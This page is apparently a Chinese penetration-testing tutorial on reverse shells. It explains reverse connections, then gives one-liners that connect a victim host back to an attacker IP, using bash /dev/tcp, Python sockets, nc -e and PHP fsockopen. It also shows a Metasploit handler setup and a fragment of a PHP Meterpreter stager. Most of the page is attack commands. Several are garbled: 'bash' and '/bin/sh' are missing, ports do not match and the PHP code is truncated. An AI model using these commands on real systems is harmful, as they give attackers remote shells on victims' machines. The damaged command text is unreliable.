zl程序教程

您现在的位置是:首页 >  其他

当前栏目

渗透测试中弹shell的多种方式

2023-04-18 15:36:02 时间

在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。

我们先来讲一下什么是正向连接和反向连接。

正向连接:我们本机去连接目标机器,比如ssh和mstsc 反向连接:目标机器去连接我们本机 那么为什么反向连接会比较常用呢

目标机器处在局域网内,我们正向连不上他 目标机器是动态ip 目标机器存在防火墙 然后说一下我的实验环境

攻击机:Kali Linux :47.98.229.211

受害机:Centos 7 :149.129.68.117(阿里云服务器)

姿势一

也是最常见的一种方式

Kali监听

nc -lvvp 4444

centos运行

  -i >& /dev/tcp/47.98.229.211/5555 0>&1

执行命令后,成功得到反弹!

姿势二 python

攻击机Kali还是监听

nc -lvvp 5555

centos执行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.98.229.211",27409));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/ ","-i"]);'
如果目标机器上有nc并且存在-e参数,那么可以建立一个反向shell

攻击机监听

nc -lvvp 5555

目标机器执行

nc 47.98.229.211 5555 -t -e /bin/ 

这样会把目标机的/bin/ 反弹给攻击机

但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式

姿势四 php 攻击机监听

nc -lvvp 4444

要求目标机器有php然后执行

php -r '$sock=fsockopen("172.16.1.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

其他的一些高能操作

关于PHP的payload

现在msfconsole中进行简单的配置

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.107
LHOST => 192.168.1.107

PHP

<?
php error_reporting(0); $ip = 'x.x.x.x'; $port = 53; if (($f = 'stream_socket_client') && is_callable($f)) {
{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_
strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('s
>